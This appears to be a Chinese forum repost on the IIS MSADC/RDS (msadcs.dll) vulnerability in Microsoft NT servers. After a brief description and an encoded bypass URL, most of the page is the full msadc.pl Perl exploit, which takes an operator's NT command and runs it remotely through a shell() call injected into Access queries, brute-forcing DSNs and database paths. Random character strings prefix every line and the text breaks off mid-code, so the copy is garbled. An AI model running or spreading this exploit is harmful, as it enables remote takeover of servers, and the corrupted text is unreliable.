IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
C,OB3y ~,1-$#R 涉及程序:
CO:m]oj Microsoft NT server
bBeFL~ mR"2 描述:
K^]?@oHO
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Mv7w5vTl ~WYE"( 详细:
75hFyh;u 如果你没有时间读详细内容的话,就删除:
.v
#0cQX+. c:\Program Files\Common Files\System\Msadc\msadcs.dll
jt'Y(u]2 有关的安全问题就没有了。
k$$S!qi# 0]:*v? 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
J-eA,9J WQIM2_=M 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
J]=aI>Ow 关于利用ODBC远程漏洞的描述,请参看:
i
h`y0(< wa(Wit"- http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,{`o/F/ uusY,Dt/9 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
bbQ10H http://www.microsoft.com/security/bulletins/MS99-025faq.asp Kd`l[56# Q?Bjq> 这里不再论述。
$X.'W\o| Fu1|b2B-x 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
\0*yxSg,^ G
+nY}c /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
`F-Dd4B 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
HAI1%F236 fr,CH{Uq 9|G=KN)P: #将下面这段保存为txt文件,然后: "perl -x 文件名"
bAy5/G!_R U"%8"G0) #!perl
dp// p)B> #
0-t4+T # MSADC/RDS 'usage' (aka exploit) script
GH; F3s #
P5
<85t # by rain.forest.puppy
wNf*/?N #
g`~lIt[=
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
t;e]L'z@: # beta test and find errors!
of[|b{Ze4~ yN WbI0a use Socket; use Getopt::Std;
RqX4ep5j getopts("e:vd:h:XR", \%args);
^Lg{2hjj P :7l#/x_ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
('o; M: h>L6{d1 if (!defined $args{h} && !defined $args{R}) {
#r:Kg&W2FO print qq~
:hl}Zn~jt Usage: msadc.pl -h <host> { -d <delay> -X -v }
qRP8dH -h <host> = host you want to scan (ip or domain)
9TXm Z -d <seconds> = delay between calls, default 1 second
cVP49r}}v -X = dump Index Server path table, if available
|$|n V^y -v = verbose
8tFyNl`c -e = external dictionary file for step 5
d~z<,_r5c 7z P Or a -R will resume a command session
/xrq'|r?C /J9T=N ~; exit;}
"` ?Wu rfZj8R& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Z#cU#)`y1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
7"CH\*% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
~RR_[t2Z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
EH!EyNNb $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
=VX<eV if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@=zBF'<.9 }~\].I6 if (!defined $args{R}){ $ret = &has_msadc;
;uA_gn! die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
B,VSFpPx {;z
L[AgCg print "Please type the NT commandline you want to run (cmd /c assumed):\n"
h> 5~
(n8 . "cmd /c ";
B|q3;P $in=<STDIN>; chomp $in;
!,(bXa\^ $command="cmd /c " . $in ;
dXK~
Z: Y;/=3T7An if (defined $args{R}) {&load; exit;}
ID k:jO TeN1\rA, print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#V9hG9%8 &try_btcustmr;
OHtZ"^YG hDkqEkq1R print "\nStep 2: Trying to make our own DSN...";
~NW5+M(u &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[2j(\vC! \tw#pk print "\nStep 3: Trying known DSNs...";
koWb@V] &known_dsn;
Y,pS/ Mb/6> print "\nStep 4: Trying known .mdbs...";
,LPFb6o &known_mdb;
zH\;pmWiN9 j
n&9<"W if (defined $args{e}){
A@Yi{&D_Q] print "\nStep 5: Trying dictionary of DSN names...";
pvwnza1 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
@okm@6J*X 4z3$ print "Sorry Charley...maybe next time?\n";
I\4`90uBN exit;
X9`C2fyVd :;#}9g9 ##############################################################################
w-Q 6
- 6~Oje>w; sub sendraw { # ripped and modded from whisker
Vqp.jF1| sleep($delay); # it's a DoS on the server! At least on mine...
d<cbp[3F my ($pstr)=@_;
Ex s _LN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+MoxvW6 die("Socket problems\n");
+fQ$~vr{' if(connect(S,pack "SnA4x8",2,80,$target)){
O>):^$-K% select(S); $|=1;
#pn AK print $pstr; my @in=<S>;
90if:mYA select(STDOUT); close(S);
K'rs9v"K| return @in;
E~O>m8hF } else { die("Can't connect...\n"); }}
)I
UWM .N><yQ-j3' ##############################################################################
^fiRRFr[ md
+`#-D\O sub make_header { # make the HTTP request
czsoD)N my $msadc=<<EOT
C"|_j? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
d@`:9
G3 User-Agent: ACTIVEDATA
/t 6u"I~ Host: $ip
Hr,gV2n Content-Length: $clen
=/'*(\C2 Connection: Keep-Alive
-8kW!F Eq.zCD8A ADCClientVersion:01.06
nhxd Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
K[;,/:Y U[ O!&:6 --!ADM!ROX!YOUR!WORLD!
^EBM;&;7 Content-Type: application/x-varg
3UtXxL&L` Content-Length: $reqlen
y?4=u,{C p`.fYW:p EOT
cZ2,
u,4 ; $msadc=~s/\n/\r\n/g;
iwTBE]J return $msadc;}
BL^Hj PaI63 ! ##############################################################################
o|n0?bThS- 9d(v^T sub make_req { # make the RDS request
>Vm my ($switch, $p1, $p2)=@_;
eS%6hUb my $req=""; my $t1, $t2, $query, $dsn;
"ZB`fNE ..{^"`FQ if ($switch==1){ # this is the btcustmr.mdb query
^aM/BS\ $query="Select * from Customers where City=" . make_shell();
5+"8q#X$ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1ZW'PXUZ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
m<LzB_G\ :<3;7R'5 elsif ($switch==2){ # this is general make table query
$zA[5}{ZtQ $query="create table AZZ (B int, C varchar(10))";
q'-l;V| $dsn="$p1";}
jN{xpd Jj!tRZT elsif ($switch==3){ # this is general exploit table query
5:3$VWLa
< $query="select * from AZZ where C=" . make_shell();
krY.Cc] $dsn="$p1";}
WjxBNk'f {"AYOc>2| elsif ($switch==4){ # attempt to hork file info from index server
s+G9L)b' $query="select path from scope()";
5{f/H]
P $dsn="Provider=MSIDXS;";}
?Lb7~XKt\ YZu#0) elsif ($switch==5){ # bad query
UHszOl $query="select";
U1tPw`0h $dsn="$p1";}
f5XcBW9E {$=%5 $t1= make_unicode($query);
BqA wo $t2= make_unicode($dsn);
X"59`Yh $req = "\x02\x00\x03\x00";
%31K*i/] $req.= "\x08\x00" . pack ("S1", length($t1));
?O^:j!C6 $req.= "\x00\x00" . $t1 ;
qGUe0( $req.= "\x08\x00" . pack ("S1", length($t2));
<.XoC?j $req.= "\x00\x00" . $t2 ;
,(?4T~ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
RwHXn]1 return $req;}
Os]M$c_88 j~>
#{"C ##############################################################################
qiJ;v1 j0NPd^ sub make_shell { # this makes the shell() statement
<[??\YOc
return "'|shell(\"$command\")|'";}
j?ubh{Izm 5]ob;tAm ##############################################################################
e%7P$. aV#;o9H{ sub make_unicode { # quick little function to convert to unicode
9cPucKuj my ($in)=@_; my $out;
"Z?":|%7 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
pl/$@K?L return $out;}
g+F_M
iJ#oI@s ##############################################################################
QZP;k!"w E1[%~Cpw* sub rdo_success { # checks for RDO return success (this is kludge)
3ZZI1_j my (@in) = @_; my $base=content_start(@in);
KywT Oq if($in[$base]=~/multipart\/mixed/){
NT:>.~ah@& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
JH,bSb return 0;}
uT2cHzqKB 45JLx?rN_ ##############################################################################
2xm?,p` du)G)~ sub make_dsn { # this makes a DSN for us
#Jb$AA!z my @drives=("c","d","e","f");
: |(B[ print "\nMaking DSN: ";
$
$+z^%'_ foreach $drive (@drives) {
6%axbB print "$drive: ";
K?eo)|4)DB my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
(jMp`4P "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}Ec"& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
lK@r?w|<M $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
'*.};t~;"d return 0 if $2 eq "404"; # not found/doesn't exist
JYUKs~Qt if($2 eq "200") {
*xKR;?. foreach $line (@results) {
t":>O0>cz return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+}'K6x_ } return 0;}
%"B$I>h ^el:)$ ##############################################################################
co-D,o4x :/Zh[Q@EG sub verify_exists {
NE nP3A my ($page)=@_;
MkG->* my @results=sendraw("GET $page HTTP/1.0\n\n");
2AE|N_v8W return $results[0];}
}k~0R-m ,PAKPX9v_F ##############################################################################
L j\<qF~n +fmZ&9hFNJ sub try_btcustmr {
'1*MiFxKq my @drives=("c","d","e","f");
Dne&YVF9V my @dirs=("winnt","winnt35","winnt351","win","windows");
rbWFq|(_ !qq@F%tv foreach $dir (@dirs) {
1Pc'wfj print "$dir -> "; # fun status so you can see progress
7%WI foreach $drive (@drives) {
O;tn5 print "$drive: "; # ditto
Vt>E\{@[t $reqlen=length( make_req(1,$drive,$dir) ) - 28;
]t<%>Z$ $reqlenlen=length( "$reqlen" );
/ nRaxzf' $clen= 206 + $reqlenlen + $reqlen;
'?4[w]0J< O#k+.LU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:oQaN[3>_ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
G_RK3E[FK else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{QJ`.6Kt %J'_c|EQM ##############################################################################
zE{zX@ !<'R%<E3Q sub odbc_error {
D':A-E my (@in)=@_; my $base;
*n\qV*|6bI my $base = content_start(@in);
'ZZ/:MvQa if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
U)6JJv $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]5CFL$_Q{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~*WbMA $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H2p;J#cv@ return $in[$base+4].$in[$base+5].$in[$base+6];}
q3t@)+l>* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
uWQ.h , print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
==9Ez $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
l0V@19Ec N*;/~bt7P ##############################################################################
H(| v #{a <{HX sub verbose {
(C|%@6 1S my ($in)=@_;
zyE yZc? return if !$verbose;
v%w]Q B print STDOUT "\n$in\n";}
fk_i~K .l!Z=n| ##############################################################################
^
T S\x/P lRq!|.C sub save {
7[PXZT my ($p1, $p2, $p3, $p4)=@_;
rL/+`H open(OUT, ">rds.save") || print "Problem saving parameters...\n";
eX/$[SL[ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
UgJHSl close OUT;}
~Hf,MLMdTf }M@ pdE ##############################################################################
L K$hV"SYb 8h=XQf6k0 sub load {
c@P, my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
dEnhNPeRl open(IN,"<rds.save") || die("Couldn't open rds.save\n");
*BV .zbGm @p=<IN>; close(IN);
#;)7~69 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
O)?0G$0 $target= inet_aton($ip) || die("inet_aton problems");
>'eqOZM print "Resuming to $ip ...";
78"W ~`8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Gy5W;,$q if($p[1]==1) {
qn . $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
uB?YJf .T@ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
TnrMR1Zx my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
' =kX if (rdo_success(@results)){print "Success!\n";}
a &j?"o else { print "failed\n"; verbose(odbc_error(@results));}}
'AoH2 | elsif ($p[1]==3){
ueOvBFgZ if(run_query("$p[3]")){
f\JyN@w+ print "Success!\n";} else { print "failed\n"; }}
hV%l}6yS& elsif ($p[1]==4){
qi$8GX=~r if(run_query($drvst . "$p[3]")){
r_",E=e print "Success!\n"; } else { print "failed\n"; }}
~*qGH exit;}
g|oPRC$I' VI4d/2e ##############################################################################
:>;#/<3{
J&?kezs sub create_table {
S;C3R5*: my ($in)=@_;
POf \l $reqlen=length( make_req(2,$in,"") ) - 28;
0qv)'[O $reqlenlen=length( "$reqlen" );
oT'XcMn $clen= 206 + $reqlenlen + $reqlen;
Lv"83$^S9 my @results=sendraw(make_header() . make_req(2,$in,""));
W~qo
`r return 1 if rdo_success(@results);
uE2Yn`Ha my $temp= odbc_error(@results); verbose($temp);
7g$t$cZby, return 1 if $temp=~/Table 'AZZ' already exists/;
QZY(S*Up return 0;}
'nul{RE* UkC\[$-"\ ##############################################################################
cjL!$OE6 Jg:'gF]jt sub known_dsn {
N=kACEo # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
xFJ>s-g* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
kF5}S8B "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
xiiZ'U "banner", "banners", "ads", "ADCDemo", "ADCTest");
>3JOQ;:d8 C<pF13*4 foreach $dSn (@dsns) {
w?[)nlNW print ".";
1VeCAx[e next if (!is_access("DSN=$dSn"));
otOl7XF if(create_table("DSN=$dSn")){
Mo/xEB/O print "$dSn successful\n";
e1#}/U if(run_query("DSN=$dSn")){
er_aol e print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
W{`;][ print "Something's borked. Use verbose next time\n";}}} print "\n";}
;pNfdII( (-
uk[["3 ##############################################################################
.'4*'i: T F'ssD sub is_access {
5]{YERa' my ($in)=@_;
&sW/r::, $reqlen=length( make_req(5,$in,"") ) - 28;
v-kH7H"z $reqlenlen=length( "$reqlen" );
~ M"[FYw[ $clen= 206 + $reqlenlen + $reqlen;
2aG<^3 my @results=sendraw(make_header() . make_req(5,$in,""));
P>H'od my $temp= odbc_error(@results);
Av'H(qB\K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Zqao4 return 0;}
ecb[m2z ,W#y7t ##############################################################################
1+^c3Dd` %l,Xt"nS# sub run_query {
!#r]f9QP my ($in)=@_;
6l=n&YO $reqlen=length( make_req(3,$in,"") ) - 28;
{Hb _o)S $reqlenlen=length( "$reqlen" );
4]cOTXk9C $clen= 206 + $reqlenlen + $reqlen;
3K'3Xp@A my @results=sendraw(make_header() . make_req(3,$in,""));
q/[)mr|~ return 1 if rdo_success(@results);
`s+qz my $temp= odbc_error(@results); verbose($temp);
6x{B return 0;}
dO=<3W SSzOz-&GA ##############################################################################
6@d( <Z h1BdASn_ sub known_mdb {
H=dj\Br` my @drives=("c","d","e","f","g");
Zd%*,\`S my @dirs=("winnt","winnt35","winnt351","win","windows");
NzEuiI} my $dir, $drive, $mdb;
}b-?Dm_H my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[~J4:yDd= N9i>81tY # this is sparse, because I don't know of many
:( `Q4D~l my @sysmdbs=( "\\catroot\\icatalog.mdb",
.{Xi&[jw "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
x&;SLEM
"\\system32\\certmdb.mdb",
Awj`6GeJ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
(<f[$ |% N>/U%01a my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
wC[J=:]tA5 "\\cfusion\\cfapps\\forums\\forums_.mdb",
!:>y.^O "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
6 2LZ}yn_" "\\cfusion\\cfapps\\security\\realm_.mdb",
Jlzhn#5c- "\\cfusion\\cfapps\\security\\data\\realm.mdb",
}/=VnCfU "\\cfusion\\database\\cfexamples.mdb",
NZl0sX.: "\\cfusion\\database\\cfsnippets.mdb",
q3;HfZ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
V7&